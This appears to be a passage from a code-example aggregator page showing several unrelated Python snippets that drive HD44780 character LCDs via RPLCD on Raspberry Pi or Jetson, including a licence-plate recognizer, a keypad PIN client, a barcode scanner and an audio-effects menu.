        GPIO.setup(self.output_pin_puerta, GPIO.OUT, initial=GPIO.LOW)
        CVProcessor.logger.info('Starting GPIO JETSON NANO')
        self.cls_dict = get_cls_dict('coco')
        self.trt_ssd = TrtSSD('ssd_mobilenet_v2_coco', (300, 300))
        self.alpr = Alpr("us", "/etc/openalpr/openalpr.conf", "runtime_data/")
        if not self.alpr.is_loaded():
            CVProcessor.logger.info("Error loading OpenALPR")
            sys.exit(1)

        self.alpr.set_top_n(20)
        self.alpr.set_default_region("dm")  #"be"

        self.class_names = []
        for i in range(len(self.cls_dict)):
            self.class_names.append(self.cls_dict[i])
        all_names = ""
        for i in self.class_names:
            all_names += " " + i
        CVProcessor.logger.info("Classes names")
        CVProcessor.logger.info(all_names)
        self.last_reboot = 0
        self.car_names = {}
        self.tracker = Tracker()
        self.count = 0
        self.colors = {}
        self.times = {}
        self.car_detected_count = {}
        self.car_detected_names = {}

        self.working_lock = threading.Lock()

        self.font_scale = 1.5
        self.font = cv2.FONT_HERSHEY_PLAIN
        self.text = "Hermano. = 12"
        (self.text_width,
         self.text_height) = cv2.getTextSize(self.text,
                                             self.font,
                                             fontScale=self.font_scale,
                                             thickness=1)[0]

        self.recognizer = Recognizer(self)

        CVProcessor.logger.info("Loaded")

    def get_locations_car(self, frame, class_names):
        boxes, confs, clss = self.trt_ssd.detect(frame, 0.3)
        cordenadas_xy = []
        names_xy = []
        scores = []
        for bb, cf, cl in zip(boxes, confs, clss):
            cl = int(cl)
            cls_name = class_names[cl]
            color = (0, 0, 255)
            if (cls_name in self.lista_clases):
                xy = [bb[0], bb[1], bb[2], bb[3]]
                cordenadas_xy.append(xy)
                names_xy.append(cls_name)
                scores.append(cf)
        cordenadas_xy = np.array(cordenadas_xy)
        cordenadas_xy = non_max_suppression_fast(cordenadas_xy, 0.3)

        return cordenadas_xy, names_xy

    def process(self, image):
        start = time.time()
        frame_rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
        car_locations, names_xdxd = self.get_locations_car(
            image, self.class_names)
        predictions = self.tracker.predict(car_locations)
        self.process_predictions(image, frame_rgb, predictions)
        if time.time() - self.last_reboot >= CVProcessor.REBOOT_TIME_GAP:
            self.reboot_algorithm()
        #if time.time() - self.last_reboot_download_json >= CVProcessor.REBOOT_TIME_PUERTA:
        #	self.download_datajson()
        self.count += 1
        # Display the resulting image
        fps = time.time() - start
        today = datetime.datetime.today()
        dia = today.weekday()
        if dia in [0, 2]:
            PERMITIDO = 'EVEN'
        if dia in [1, 3]:
            PERMITIDO = 'ODD'
        if dia in [4, 5, 6]:
            PERMITIDO = 'ALL'
        fps = 'FPS :' + str(round(1 / fps, 1)) + ' ALLOW:' + PERMITIDO
        text_offset_x = 50
        text_offset_y = 50
        box_coords = ((text_offset_x, text_offset_y),
                      (text_offset_x + int(self.text_width * 1.25) - 2,
                       text_offset_y - int(self.text_height * 1.25) - 2))
        cv2.rectangle(image, box_coords[0], box_coords[1], (255, 255, 255),
                      cv2.FILLED)
        cv2.putText(image, fps, (50, 50), self.font, 1.25, (150, 0, 150), 2)
        #image = cv2.resize(image, (1240, 1000), interpolation = CVProcessor.INTERPOLATION_TYPE)
        return image

    def process_predictions(self, frame, frame_rgb, predictions):
        id_not_found = []
        locations = []
        #names_ids = []
        id_unknowns = []
        for id_xd, pre in enumerate(predictions):
            arreglo = np.array(pre, dtype=int)
            arreglo[arreglo < 0] = 0
            [x1, y1, x2, y2, id] = arreglo
            if id not in self.car_names.keys() or (
                    id in self.car_names
                    and self.car_names[id] == CVProcessor.UNKNOWN_NAME):
                id_unknowns.append(id)
                y1aux = int((y2 + y1) / 2 -
                            (y2 - y1) * CVProcessor.OFFSET_BBOX_HEIGHT_UP / 2)
                y2aux = int((y2 + y1) / 2 + (y2 - y1) *
                            CVProcessor.OFFSET_BBOX_HEIGHT_DOWN / 2)
                x1aux = int((x2 + x1) / 2 -
                            (x2 - x1) * CVProcessor.OFFSET_BBOX_WIDTH / 2)
                x2aux = int((x2 + x1) / 2 +
                            (x2 - x1) * CVProcessor.OFFSET_BBOX_WIDTH / 2)
                arreglo = np.array([x1aux, y1aux, x2aux, y2aux], dtype=int)
                arreglo[arreglo < 0] = 0
                locations.append(arreglo)
                color = (random.randint(0, 255), random.randint(0, 255),
                         random.randint(0, 255))
                self.colors[id] = color

            text_offset_x = int(x1)
            text_offset_y = int(y1 + 4)
            box_coords = ((text_offset_x, text_offset_y),
                          (text_offset_x + int(self.text_width) - 2,
                           text_offset_y - int(self.text_height) - 2))

            if id in self.car_names.keys():
                try:
                    cv2.rectangle(frame, box_coords[0], box_coords[1],
                                  self.colors[id], cv2.FILLED)
                    espesor = 6 if self.car_names[id] != 'Procesando' else 3
                    cv2.rectangle(frame, (x1, y1), (x2, y2), self.colors[id],
                                  espesor)
                except:
                    cv2.rectangle(frame, box_coords[0], box_coords[1],
                                  (0, 0, 0), cv2.FILLED)
                    cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 0, 0), 3)

                cv2.putText(frame,
                            '[' + self.car_names[id] + ' ] : ' + str(id),
                            (x1, y1), self.font, 1, (0, 0, 0), 1)
            else:
                try:
                    cv2.rectangle(frame, box_coords[0], box_coords[1],
                                  self.colors[id], cv2.FILLED)
                    cv2.rectangle(frame, (x1, y1), (x2, y2), self.colors[id],
                                  3)
                except:
                    cv2.rectangle(frame, box_coords[0], box_coords[1],
                                  (0, 0, 0), cv2.FILLED)
                    cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 0, 0), 3)
                cv2.putText(frame, 'Detecting ' + str(id), (x1, y1), self.font,
                            1, (0, 0, 0), 1)
        if not self.recognizer.is_working() and locations:
            self.recognizer.enqueue(frame_rgb, locations, id_unknowns)

    def set_name(self, fid, name, color, bandera):
        self.working_lock.acquire()
        self.colors[fid] = color
        if fid in self.car_detected_names and not bandera:
            if name in self.car_detected_names[fid]:
                self.car_detected_names[fid][name] += 1
            else:
                self.car_detected_names[fid][name] = 1
        else:

            self.car_detected_names[fid] = {}
            self.car_detected_names[fid][name] = 1
            self.car_names[fid] = CVProcessor.UNKNOWN_NAME

        if fid in self.car_names.keys(
        ) and self.car_detected_names[fid] and not bandera:
            counter = collections.Counter(self.car_detected_names[fid])
            most_commons = counter.most_common(2)
            if (len(most_commons) > 1):
                most_common1 = most_commons[0]
                most_common2 = most_commons[1]
                if (most_common1[0] == CVProcessor.UNKNOWN_NAME):
                    if (most_common1[1] <
                            CVProcessor.SAME_NAME_REQUIRED_COUNT_UNKNOWN):
                        most_common = most_common2
                    else:
                        most_common = most_common1
                else:
                    most_common = most_common1
            else:
                most_common = most_commons[0]

            CVProcessor.logger.info("[Track:" + str(fid) + "] common name: '" +
                                    most_common[0] + "' " +
                                    str(most_common[1]) + " times")

            if self.car_names[fid] == CVProcessor.UNKNOWN_NAME and most_common[
                    1] >= CVProcessor.SAME_NAME_REQUIRED_COUNT:
                if (most_common[0] == "Procesando" and most_common[1] >=
                        CVProcessor.SAME_NAME_REQUIRED_COUNT_UNKNOWN):
                    self.car_names[fid] = "Desconocido"
                else:
                    self.car_names[fid] = most_common[0]
                    if (most_common[0] != CVProcessor.UNKNOWN_NAME):
                        CVProcessor.logger.info("[Track:" + str(fid) +
                                                "] recognizated: '" +
                                                most_common[0] + "' " +
                                                str(most_common[1]) + " times")
        else:
            self.car_names[fid] = CVProcessor.UNKNOWN_NAME
        self.working_lock.release()

        return str(self.car_names[fid])

    def isBlurryImage(self, image):
        gray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)
        fm = cv2.Laplacian(gray, cv2.CV_64F).var()
        return (fm < CVProcessor.VARIANCE_OF_LAPLACIAN_THRESHOLD, fm)

    def start(self):
        CVProcessor.logger.info("Starting")

        self.recognizer.start()

        CVProcessor.logger.info("Started")

    def stop(self):
        CVProcessor.logger.info("Stopping")

        self.recognizer.stop()

        CVProcessor.logger.info("Stopped")

    def reboot_algorithm(self):
        CVProcessor.logger.info("Rebooting...")

        self.working_lock.acquire()

        self.car_names = {}
        self.tracker = Tracker()
        self.count = 0
        self.colors = {}
        self.times = {}
        self.car_detected_count = {}
        self.car_detected_names = {}
        self.last_reboot = time.time()
        self.working_lock.release()
        self.lcd = CharLCD(cols=16,
                           rows=2,
                           pin_rs=11,
                           pin_e=5,
                           pins_data=[6, 13, 19, 26],
                           numbering_mode=GPIO.BCM)
        self.lcd.clear()
        self.lcd.write_string(u'Running..')
        GPIO.output(CVProcessor.output_pin, GPIO.LOW)
        GPIO.output(CVProcessor.output_pin_puerta, GPIO.LOW)

    def imageAsByteArray(self, image):
        pil_img = Image.fromarray(
            image)  # convert opencv frame (with type()==numpy) into PIL Image
        stream = io.BytesIO()
        pil_img.save(stream, format='JPEG')  # convert PIL Image to Bytes
        return stream.getvalue()
Ejemplo n.º 22
0
from AltIMU_v3 import AltIMUv3
from RPLCD import CharLCD
from RPi import GPIO
import time
import Activity_3 as Integral

# LCD and GPIO Setup
LCD = CharLCD(cols=16, rows=2, pin_rs=37, pin_e=35, pins_data=[33, 31, 29, 23])
Button = 12
GPIO.setup(Button, GPIO.IN)
altimu = AltIMUv3()
altimu.enable_gyroscope()
LCD.clear()
initial_zero, previous = 0, 0
LCD.write_string(u'Press the button to start...')
area, actual, sampling_period, value = 0, 0, 0.1, 0


# Calibration function
def calibrate():
    average = 0
    LCD.clear()
    LCD.write_string(u'Calibrating...')
    for i in range(0, 1000):
        gyro = altimu.get_gyroscope_cal()
        average += gyro[2]
    average = average / 1000
    last_sample = gyro[2]
    return average, last_sample

Ejemplo n.º 23
0
class LCD_SYS_1:
    def __init__(self):

        if gv.SYSTEM_MODE == 1 and (gv.USE_HD44780_16x2_LCD or gv.USE_HD44780_20x4_LCD):

            # Timing constants
            self.E_PULSE = 0.0005
            self.E_DELAY = 0.0005

            self.display_called = False
            self.temp_display = False

            if gv.IS_DEBIAN:
                self.thread_sleep = 0.05
            else:
                self.thread_sleep = 0.1

            self.timeout_init = 2  # default timeout reset time
            self.timeout_length = self.timeout_init  # initial timeout length (timeout_custom will override)

            self.STRING_1 = ''
            self.STRING_2 = ''
            self.STRING_3 = ''
            self.STRING_4 = ''
            self.STRING_1_PRIORITY = ''
            self.STRING_2_PRIORITY = ''
            self.STRING_3_PRIORITY = ''
            self.STRING_4_PRIORITY = ''

            self.loop_alive = True

            if gv.IS_DEBIAN:
                import RPi.GPIO as GPIO
                from RPLCD import CharLCD

                self.lcd = CharLCD(pin_rs=gv.GPIO_LCD_RS, pin_rw=None, pin_e=gv.GPIO_LCD_E,
                                   pins_data=[gv.GPIO_LCD_D4, gv.GPIO_LCD_D5, gv.GPIO_LCD_D6, gv.GPIO_LCD_D7],
                                   numbering_mode=GPIO.BCM, cols=gv.LCD_COLS, rows=gv.LCD_ROWS, charmap='A00')

                self.lcd.clear()

                # Hide the cursor
                self.lcd._set_cursor_mode("hide")

                # Fill the display with blank spaces
                for i in range(1, gv.LCD_ROWS+1):
                    self.lcd_string(' ', i)

                # Write custom codes to the LCD
                self.lcd.create_char(1, lcdcc.block)
                self.lcd.create_char(2, lcdcc.pause)
                self.lcd.create_char(3, lcdcc.voice_button_on)
                self.lcd.create_char(4, lcdcc.voice_button_off)
                self.lcd.create_char(5, lcdcc.block2)
                self.lcd.create_char(6, lcdcc.loading_hour_glass)

        self.LCDThread = threading.Thread(target=self.lcd_main)
        self.LCDThread.daemon = True
        self.LCDThread.start()

    def reset_after_timeout(self):
        self.display_called = False
        self.temp_display = False
        self.timeout_start = time.time()

    def lcd_main(self):

        if gv.USE_HD44780_20x4_LCD and gv.IS_DEBIAN:
            self.lcd.clear()

        # if gv.USE_HD44780_16x2_LCD:
        #     self.lcd_string("WELCOME TO".center(gv.LCD_COLS, ' '), 1)
        #     self.lcd_string("SAMPLERBOX".center(gv.LCD_COLS, ' '), 2)
        # elif gv.USE_HD44780_20x4_LCD:
        #     self.lcd_string(unichr(1) * gv.LCD_COLS, 1)
        #     self.lcd_string("WELCOME TO".center(gv.LCD_COLS, ' '), 2)
        #     self.lcd_string("SAMPLERBOX".center(gv.LCD_COLS, ' '), 3)
        #     self.lcd_string(unichr(1) * gv.LCD_COLS, 4)
        # time.sleep(0.6)

        self.timeout_start = time.time()
        print_message = ''

        while self.loop_alive:
            if self.display_called:

                now = time.time()

                if (now - self.timeout_start) > self.timeout_length:
                    self.reset_after_timeout()

                if (self.temp_display or gv.displayer.menu_mode == gv.displayer.DISP_UTILS_MODE):
                    self.lcd_string(self.STRING_1, 1)
                    self.lcd_string(self.STRING_2, 2)
                    print_message = "\r%s||%s" % (self.STRING_1[:gv.LCD_COLS], self.STRING_2[:gv.LCD_COLS])
                    if gv.USE_HD44780_20x4_LCD:
                        self.lcd_string(self.STRING_3, 3)
                        self.lcd_string(self.STRING_4, 4)
                        print_message = "\r%s||%s||%s" % (print_message, self.STRING_3[:gv.LCD_COLS], self.STRING_4[:gv.LCD_COLS])

                elif gv.displayer.menu_mode == gv.displayer.DISP_PRESET_MODE:
                    self.lcd_string(self.STRING_1_PRIORITY, 1)
                    self.lcd_string(self.STRING_2_PRIORITY, 2)
                    print_message = "\r%s||%s" % (self.STRING_1_PRIORITY[:gv.LCD_COLS], self.STRING_2_PRIORITY[:gv.LCD_COLS])
                    if gv.USE_HD44780_20x4_LCD:
                        self.lcd_string(self.STRING_3_PRIORITY, 3)
                        self.lcd_string(self.STRING_4_PRIORITY, 4)
                        print_message = "\r%s||%s||%s" % (print_message, self.STRING_3_PRIORITY[:gv.LCD_COLS], self.STRING_4_PRIORITY[:gv.LCD_COLS])
                elif gv.displayer.menu_mode == gv.displayer.DISP_MENU_MODE:
                    self.lcd_string(self.STRING_1_PRIORITY, 1)
                    self.lcd_string(self.STRING_2_PRIORITY, 2)
                    print_message = "\r%s||%s" % (self.STRING_1_PRIORITY[:gv.LCD_COLS], self.STRING_2_PRIORITY[:gv.LCD_COLS])
                    if gv.USE_HD44780_20x4_LCD:
                        self.lcd_string(self.STRING_3_PRIORITY, 3)
                        self.lcd_string(self.STRING_4_PRIORITY, 4)
                        print_message = "\r%s||%s||%s" % (print_message, self.STRING_3_PRIORITY[:gv.LCD_COLS], self.STRING_4_PRIORITY[:gv.LCD_COLS])
                if gv.PRINT_LCD_MESSAGES:
                    sys.stdout.write(print_message)
                    sys.stdout.flush()
                    gui_message = print_message.replace('\r', '')
                    gui_message = gui_message.replace('||', '\r')
                    if gv.USE_GUI and not gv.IS_DEBIAN: gv.gui.output['text'] = gui_message

            time.sleep(self.thread_sleep)

    def lcd_string(self, message, line):

        message = message[:gv.LCD_COLS]
        message = message.ljust(gv.LCD_COLS, " ")

        if (gv.USE_HD44780_16x2_LCD or gv.USE_HD44780_20x4_LCD) and gv.IS_DEBIAN:

            self.lcd.write_string(message[:gv.LCD_COLS])

    def display(self, message, line=1, is_priority=False, timeout_custom=None):

        message += ' ' * gv.LCD_COLS

        # Send string to display

        if line == 1:
            self.STRING_1 = message
            if is_priority:
                self.STRING_1_PRIORITY = message
            else:
                self.temp_display = True
        if line == 2:
            self.STRING_2 = message
            if is_priority:
                self.STRING_2_PRIORITY = message
            else:
                self.temp_display = True
        if line == 3:
            self.STRING_3 = message
            if is_priority:
                self.STRING_3_PRIORITY = message
            else:
                self.temp_display = True
        if line == 4:
            self.STRING_4 = message
            if is_priority:
                self.STRING_4_PRIORITY = message
            else:
                self.temp_display = True

        if timeout_custom != None:
            self.timeout_length = timeout_custom
        else:
            self.timeout_length = self.timeout_init

        self.timeout_start = time.time()

        self.display_called = True

    def stop(self):
        self.lcd.close()
        self.loop_alive = False
def send_pin():
    global step
    global lcd_flag
    global lcd

    s_pin = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    host = global_host
    port = 1314

    adress = ((host, port))
    s_pin.connect(adress)

    matrix = [['1', '2', '3', 'A'],
              ['4', '5', '6', 'B'],
              ['7', '8', '9', 'C'],
              ['*', '0', '#', 'D']]

    row = [14, 15, 18, 23]
    col = [24, 25, 8, 7]

    for j in range(4):
        GPIO.setup(col[j], GPIO.OUT)
        GPIO.output(col[j], 1)

    for i in range(4):
        GPIO.setup(row[i], GPIO.IN, pull_up_down=GPIO.PUD_UP)

    text_pin = ''

    write_pin = 0

    m_pin = 0
    m_rfid = 0

    while True:
        for j in range(4):
            GPIO.output(col[j], 0)

            for i in range(4):
                if GPIO.input(row[i]) == 0:
                    if matrix[i][j] == 'D':
                        start = time.time()
                        while (GPIO.input(row[i]) == 0):
                            if (time.time() - start > 1.0) and (text_pin != '') and (step == 0 or step == 1):
                                s_pin.send(str.encode(text_pin))
                                data = s_pin.recv(4096)
                                data = data.decode('utf-8')
                                data_splitted = data.split('/')
                                if len(data_splitted) == 3:
                                    m_rfid = data_splitted[1]
                                    m_pin = data_splitted[2]
                                    if m_pin == '1':
                                        step = 1
                                        lcd_flag = 0
                                    elif m_rfid == '1':
                                        step = 2
                                        lcd_flag = 0
                                    elif (m_pin == '0') and (m_rfid == '0'):
                                        step = 5
                                        lcd_flag = 0
                                elif len(data_splitted) == 1:
                                    if data_splitted[0] == 'GOOD_PIN':
                                        if m_rfid == '1':
                                            step = 2
                                        else:
                                            step = 5
                                        lcd_flag = 0
                                    elif data_splitted[0] == 'WRONG_PIN':
                                        step = 3
                                        lcd_flag = 0
                                    elif data_splitted[0] == 'WRONG_MACHINE':
                                        m_pin = None
                                        m_rfid = None
                                        step = 8
                                        lcd_flag = 0
                                text_pin = ''
                                lcd.cursor_pos = (1, 0)
                                lcd.write_string(u'                ')
                                break
                        if (time.time() - start < 1.0) and (step == 0 or step == 1):
                            text_pin = text_pin[:-1]
                            lcd.cursor_pos = (1, 0)
                            if write_pin == 0:
                                lcd.write_string(text_pin+u' ')
                            if write_pin == 1:
                                lcd.write_string('*'*len(text_pin)+u' ')
                    else:
                        if (step == 0) or (step == 1):
                            text_pin += matrix[i][j]
                            lcd.cursor_pos = (1, 0)
                            if write_pin == 0:
                                lcd.write_string(text_pin)
                            if write_pin == 1:
                                lcd.write_string('*'*len(text_pin))
                        while (GPIO.input(row[i]) == 0):
                            pass

            GPIO.output(col[j], 1)

        if lcd_flag == 0:
            lcd.clear()
            if step == 0:
                lcd_flag = 1
                write_pin = 0
                lcd.cursor_pos = (0, 0)
                lcd.write_string(u'CHOOSE MACHINE')
            elif step == 1:
                lcd_flag = 1
                write_pin = 1
                lcd.cursor_pos = (0, 0)
                lcd.write_string(u'WRITE PIN')
            elif step == 2:
                lcd_flag = 1
                lcd.cursor_pos = (0, 0)
                lcd.write_string(u'PLACE RFID CARD')
                time.sleep(1)
            elif step == 3:
                lcd.cursor_pos = (0, 0)
                lcd.write_string(u'WRONG')
                lcd.cursor_pos = (1, 0)
                lcd.write_string(u'PIN')
                if m_rfid == '1':
                    s_pin.send(str.encode(' '))
                time.sleep(1)
                step = 0
            elif step == 4:
                lcd.cursor_pos = (0, 0)
                lcd.write_string(u'WRONG')
                lcd.cursor_pos = (1, 0)
                lcd.write_string(u'RFID CARD')
                s_pin.send(str.encode('WRONG_RFID'))
                time.sleep(1)
                step = 0
            elif step == 5:
                lcd_flag = 1
                lcd.cursor_pos = (0, 0)
                lcd.write_string(u'FACE')
                lcd.cursor_pos = (1, 0)
                lcd.write_string(u'RECOGNITION')
                if m_rfid == '1':
                    s_pin.send(str.encode(' '))
                time.sleep(2)
            elif step == 6:
                lcd.cursor_pos = (0, 0)
                lcd.write_string(u'WELCOME')
                lcd.cursor_pos = (1, 0)
                lcd.write_string(first_name + u' ' + second_name)
                time.sleep(3)
                lcd = CharLCD(numbering_mode=GPIO.BCM, cols=16, rows=2,
                              pin_rs=21, pin_e=20, pins_data=[16, 12, 27, 22],
                              compat_mode=True)
                lcd.clear()
                step = 0
            elif step == 7:
                lcd.cursor_pos = (0, 0)
                lcd.write_string(first_name + u' ' + second_name)
                lcd.cursor_pos = (1, 0)
                lcd.write_string(
                    u'H: ' + work_hours + u' M: ' + work_minutes + u' S: ' + work_seconds)
                time.sleep(3)
                lcd = CharLCD(numbering_mode=GPIO.BCM, cols=16, rows=2,
                              pin_rs=21, pin_e=20, pins_data=[16, 12, 27, 22],
                              compat_mode=True)
                lcd.clear()
                step = 0
            elif step == 8:
                lcd.cursor_pos = (0, 0)
                lcd.write_string(u'WRONG')
                lcd.cursor_pos = (1, 0)
                lcd.write_string(u'MACHINE')
                time.sleep(1)
                step = 0
Ejemplo n.º 25
0
class BarcodeScanner():
    def __init__(self):

        self.code = None
        self.start_time = time.time()
        self.send_to_db = False
        self.delete_wait_time = 5

        # for BCM Mode
        # lcd_rs = 25
        # lcd_en = 24
        # lcd_d4 = 23
        # lcd_d5 = 17
        # lcd_d6 = 18
        # lcd_d7 = 22
        # lcd_backlight = 4

        # for Board Mode
        lcd_rs = 22
        lcd_en = 18
        lcd_d4 = 16
        lcd_d5 = 11
        lcd_d6 = 12
        lcd_d7 = 15
        lcd_backlight = 4

        # Define LCD column and row size for 16x2 LCD.
        lcd_columns = 16
        lcd_rows = 2

        self.lcd = CharLCD(cols=lcd_columns,
                           rows=lcd_rows,
                           pin_rs=lcd_rs,
                           pin_e=lcd_en,
                           pins_data=[lcd_d4, lcd_d5, lcd_d6, lcd_d7],
                           numbering_mode=GPIO.BOARD)
        self.lcd.clear()

        self.db = MongoDB()

        GPIO.setmode(GPIO.BOARD)
        self.red_light = 40
        self.green_light = 37
        self.buzzer = 38
        self.button_remove = 32

        GPIO.setup(10, GPIO.IN,
                   pull_up_down=GPIO.PUD_DOWN)  # button for delete
        GPIO.setup(self.green_light, GPIO.OUT)  # Green Light
        GPIO.setup(self.red_light, GPIO.OUT)  # Red Light
        GPIO.setup(self.buzzer, GPIO.OUT)  # Buzzer
        GPIO.setup(self.button_remove, GPIO.IN,
                   pull_up_down=GPIO.PUD_DOWN)  # button for remove

        GPIO.add_event_detect(10, GPIO.RISING, callback=self.button_callback)
        GPIO.add_event_detect(self.button_remove,
                              GPIO.RISING,
                              callback=self.remove_item)
        # lcd.write_string('Hello world!')
        # message = input("Press enter to quit\n\n")
        # lcd.clear()

    def remove_item():
        print("Enter Remove")
        self.lcd.clear()
        self.lcd.write_string('Scan the item')
        if self.code != None:
            self.send_to_mongo(override=True)
        scanned = False
        image_in_memory = False
        while scanned != True:
            self.capture_image()
            image_in_memory = True
            barcode = self.get_barcode()

            if barcode != None:
                self.code = barcode
                self.db.doneWithItem(self.code)
                self.lcd.clear()
                self.lcd.write_string('Item removed! Good Job!')
                self.code = None
                scanned = True

            self.delete_image()
            image_in_memory = False
            time.sleep(0.5)

    def capture_image(self):
        # initialize the camera and grab a reference to the raw camera capture
        with PiCamera() as camera:
            # rawCapture = PiRGBArray(camera)
            # allow the camera to warmup
            time.sleep(0.1)
            # grab an image from the camera
            camera.capture('code.jpeg')
            # camera.capture('pics/'+i+'.jpeg')
            # image = rawCapture.array

    def send_to_mongo(self, override):
        time_elapsed = time.time() - self.start_time
        if self.send_to_db == False and time_elapsed > self.delete_wait_time and self.code != None:
            print("Adding to MongoDB")
            self.db.insertItem(self.code)
            self.send_to_db = True
            self.code = None
        elif override == True:
            print("Adding to MongoDB")
            self.db.insertItem(self.code)
            self.send_to_db = True
            self.code = None

    def get_barcode(self):
        path = "code.jpeg"
        # path = 'pics/'+i+'.jpeg'
        image = cv2.imread(path)
        barcodes = pyzbar.decode(image)
        if barcodes != None:
            for barcode in barcodes:
                self.lcd.clear()
                if self.send_to_db == False and self.code != None:
                    self.send_to_mongo(override=True)
                decoded = str(barcode.data.decode())
                self.start_time = time.time()
                self.send_to_db = False
                print(decoded)
                self.lcd.write_string('Item Added! :)')
                GPIO.output(self.green_light, GPIO.HIGH)
                GPIO.output(self.buzzer, GPIO.HIGH)
                time.sleep(0.5)
                GPIO.output(self.green_light, GPIO.LOW)
                GPIO.output(self.buzzer, GPIO.LOW)
                return decoded
        return None

    def delete_image(self):
        os.remove("code.jpeg")

    def button_callback(self, temp):
        print("Button was pressed!")
        time_elapsed = time.time() - self.start_time
        if time_elapsed < self.delete_wait_time:
            self.lcd.clear()
            self.lcd.write_string('Deleted! We got you!!')
            print(
                "Made the item disappear. We challenge James Bond to find it.")
            self.code = None
            GPIO.output(self.green_light, GPIO.HIGH)
            GPIO.output(self.buzzer, GPIO.HIGH)
            time.sleep(0.3)
            GPIO.output(self.green_light, GPIO.LOW)
            GPIO.output(self.buzzer, GPIO.LOW)

            time.sleep(0.3)

            GPIO.output(self.green_light, GPIO.HIGH)
            GPIO.output(self.buzzer, GPIO.HIGH)
            time.sleep(0.3)
            GPIO.output(self.green_light, GPIO.LOW)
            GPIO.output(self.buzzer, GPIO.LOW)
        else:
            print("Try deleting using WebApp!")
            self.lcd.clear()
            self.lcd.write_string('Delete in App!')
            GPIO.output(self.red_light, GPIO.HIGH)
            GPIO.output(self.buzzer, GPIO.HIGH)
            time.sleep(1)
            GPIO.output(self.red_light, GPIO.LOW)
            GPIO.output(self.buzzer, GPIO.LOW)

            time.sleep(1)

            GPIO.output(self.red_light, GPIO.HIGH)
            GPIO.output(self.buzzer, GPIO.HIGH)
            time.sleep(1)
            GPIO.output(self.red_light, GPIO.LOW)
            GPIO.output(self.buzzer, GPIO.LOW)

    def button_test(self):
        try:
            GPIO.add_event_detect(10,
                                  GPIO.RISING,
                                  callback=self.button_callback
                                  )  # Setup event on pin 10 rising edge
            message = input("Press enter to quit\n\n")
            GPIO.cleanup()
        except KeyboardInterrupt:
            GPIO.cleanup()

    def main(self):

        image_in_memory = False
        try:
            while True:
                self.capture_image()
                image_in_memory = True
                barcode = self.get_barcode()

                if barcode != None:
                    self.code = barcode

                self.send_to_mongo(override=False)
                self.delete_image()
                image_in_memory = False
                time.sleep(0.5)
        except KeyboardInterrupt:
            self.lcd.clear()
            GPIO.cleanup()
            if image_in_memory == True:
                self.delete_image()
Ejemplo n.º 26
0
## CLEAR THE SCREEN
'''
The function lcd.clear() will clear the screen.
The following code will print “Hello world!” to the screen for two seconds before clearing it:
'''

import time  # This is the library which we will be using for the time function
from RPLCD import CharLCD  # This is the library which we will be using for LCD Display
from RPi import GPIO  # This is the library which we will be using for using the GPIO pins of Raspberry PI

# Initializing the LCD Display
lcd = CharLCD(numbering_mode=GPIO.BOARD,
              cols=16,
              rows=2,
              pin_rs=37,
              pin_e=35,
              pins_data=[33, 31, 29, 23])
lcd.write_string("Hello world!")

time.sleep(2)  # This will hold the code here for 2 seconds
lcd.clear()  # And this clears the LCD Display

# Always Clean Up the GPIO after using the code
GPIO.cleanup()
Ejemplo n.º 27
0
class Menu:
    """Menu class for managing a multi effects patch in Pd on Raspberry Pi.

  The Menu is operated via a rotary encoder with an integrated push button.
  Another button is added to navigate the Menu.
  Turning the rotary encoder selects menu options or changes effects parameters.
  Pushing the encoders internal push button increases the menu level and pushing
  the other button decreases the menu level.

  The menu levels are:
   0. Level Metering
   1. Effect Selection
   2. Parameter Selection
   3. Parameter Adjustment

  The Menu is displayed on a HD44780 compatible 2x16 character display.

  Pd and the Menu communicate via OSC messages and listen on different ports.

  This menu is designed to display true effects parameters values, even if these
  values are changed by a different source like a MIDI controller.

  Manuel Planton 2019
  """

    OSC_ADDRESS = "/menu"
    LEVEL_MIN = 0
    LEVEL_MAX = 3
    SUPERLINE = "#" * 16

    def __init__(self, ip, port, pd_ip, pd_port, d_rs, d_rw, d_e, d_d4, d_d5,
                 d_d6, d_d7, r_clk, r_d, r_sw, button):
        """Constructor
    IP addresses and port numbers for OSC connection are needed.
    Prefix 'd' is for HD44780 compatible display connections connected to the pins of the RPi.
    Prefix 'r' is for KY040 compatible rotary encoder connections connected to the pins of the RPi.
    Pin numbers are BCM numbers! (see GPIO.setmode(GPIO.BCM))

    Args:
        ip: IP Address of the OSC server of this menu
        port: port number of the OSC server of this menu
        pd_ip: IP Address of  the OSC server of the Pd effects patch
        pd_port: port number of the OSC server of the Pd effects patch
        d_rs: HD44780 register select pin number
        d_rw: HD44780 read/write pin number
        d_e: HD44780 enable pin number
        d_d4: HD44780 data channel 4 pin number
        d_d5: HD44780 data channel 5 pin number
        d_d6: HD44780 data channel 6 pin number
        d_d7: HD44780 data channel 7 pin number
        r_clk: rotary encoder clock pin number
        r_d: rotary encoder data pin number
        r_sw: rotary encoder internal switch button pin number
        button: push button pin number
    """

        self.ip = ip
        self.port = port
        self.pd_ip = pd_ip
        self.pd_port = pd_port
        self.pd_is_connected = False

        self.rotary_increment = 1

        # menu level entry state
        self.level = 1
        # current effect
        self.fx_nr = 0
        # current parameter of the effect
        self.param_nr = 0

        # define effects
        main = Effect(name="main",
                      params={
                          'on': 1,
                          'in_vol': 127,
                          'out_vol': 127
                      })
        reverb = Effect(name="reverb",
                        params={
                            'on': 0,
                            'dry': 64,
                            'wet': 120,
                            'rev_in_lvl': 100,
                            'liveness': 80,
                            'fc': 40,
                            'hf_damp': 7
                        })
        delay = Effect(
            "delay", {
                'on': 0,
                'dry': 64,
                'wet': 127,
                'delay_time': 64,
                'feedback': 100,
                'fc_lop': 120,
                'fc_hip': 25,
                'detune': 10,
                'mod_freq': 5
            })
        lop = Effect("lop", {'on': 0, 'fc': 64})
        hip = Effect("hip", {'on': 0, 'fc': 30})
        # effects list
        self.fx = [main, reverb, delay, lop, hip]

        GPIO.setmode(GPIO.BCM)
        self.button = Button.Button(button, "falling", self.buttonPressed)

        # callbacks for encoder and OSC handlers must be defined
        self.r_encoder = KY040.KY040(r_clk, r_d, r_sw, self.rotaryChange,
                                     self.switchPressed)
        print("DBG: initialize display")
        # Compat mode is true because slow displays show garbage sometimes.
        self.lcd = CharLCD(numbering_mode=GPIO.BCM,
                           cols=16,
                           rows=2,
                           pin_rs=d_rs,
                           pin_rw=d_rw,
                           pin_e=d_e,
